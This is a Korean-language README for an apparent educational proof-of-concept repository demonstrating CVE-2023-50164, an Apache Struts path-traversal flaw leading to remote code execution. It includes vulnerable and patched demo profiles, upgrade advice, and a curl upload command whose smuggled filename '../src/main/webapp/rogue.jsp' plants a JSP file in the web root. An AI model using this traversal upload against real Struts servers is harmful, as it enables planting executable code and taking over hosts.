
CVE-2023-50164에 대한 개념 증명 익스플로잇으로, Apache Struts의 경로 탐색 취약점으로 인해 원격 코드 실행이 가능합니다. 테스트 및 학습을 위한 취약한 환경과 패치된 데모 환경을 포함합니다.
이것은 CVE-2023-50164에 대한 개념 증명(PoC)입니다. 이는 struts-core에서 원격 코드 실행(RCE)으로 이어질 수 있는 새로운 경로 탐색 취약점을 설명합니다.
이 문제를 해결하려면 Struts 2.5.33 또는 Struts 6.3.0.2 이상으로 업데이트하는 것이 좋습니다.
이 저장소는 Henrik Plate의 훌륭한 작업을 기반으로 합니다. 여기에서 찾을 수 있습니다.
이 프로젝트에는 두 개의 Maven 프로파일이 있습니다: vuln 및 no-vuln. vuln이 기본값입니다.
RCE 취약점이 있는 상태로 실행하려면 다음을 실행하십시오:
mvn clean jetty:run -P vuln
RCE 취약점 없이 실행하려면 다음을 실행하십시오:
mvn clean jetty:run -P no-vuln
두 프로파일의 차이점은 vuln은 struts-core 버전 6.3.0.1을 사용하며(경로 탐색 취약점이 있음) no-vuln은 버전 를 사용한다는 것입니다(경로 탐색 취약점이 없음).
struts-core6.3.0.2위에서 설명한 vuln 프로파일을 실행하는 동안 다음을 실행하십시오:
curl \
http://localhost:9999/struts-vuln-poc/upload.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"
src/main/webapp 폴더에서 rogue.jsp 파일을 볼 수 있으며, 다음에서 찾아볼 수 있습니다: http://localhost:9999/struts-vuln-poc/rogue.jsp (Ya been PWNED! 메시지가 표시됩니다).
이전 Struts 버전에서 작동하는 코드 수정 솔루션이 있지만, 여전히 Struts 버전을 업데이트하는 것이 좋습니다.
코드 수정을 실행하려면 다음을 실행하십시오:
curl \
http://localhost:9999/struts-vuln-poc/upload-no-vuln.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"
다음 오류 메시지가 표시됩니다: Attempted path traversal attack
참고: no-vuln 프로파일을 사용하는 경우, 상대 경로(예: ../src/main/webapp/rogue.jsp)를 사용하더라도 /upload-no-vuln 엔드포인트에서 오류 메시지가 표시되지 않습니다. 새 버전의 Struts가 자동으로 상대 경로 참조를 제거하기 때문입니다.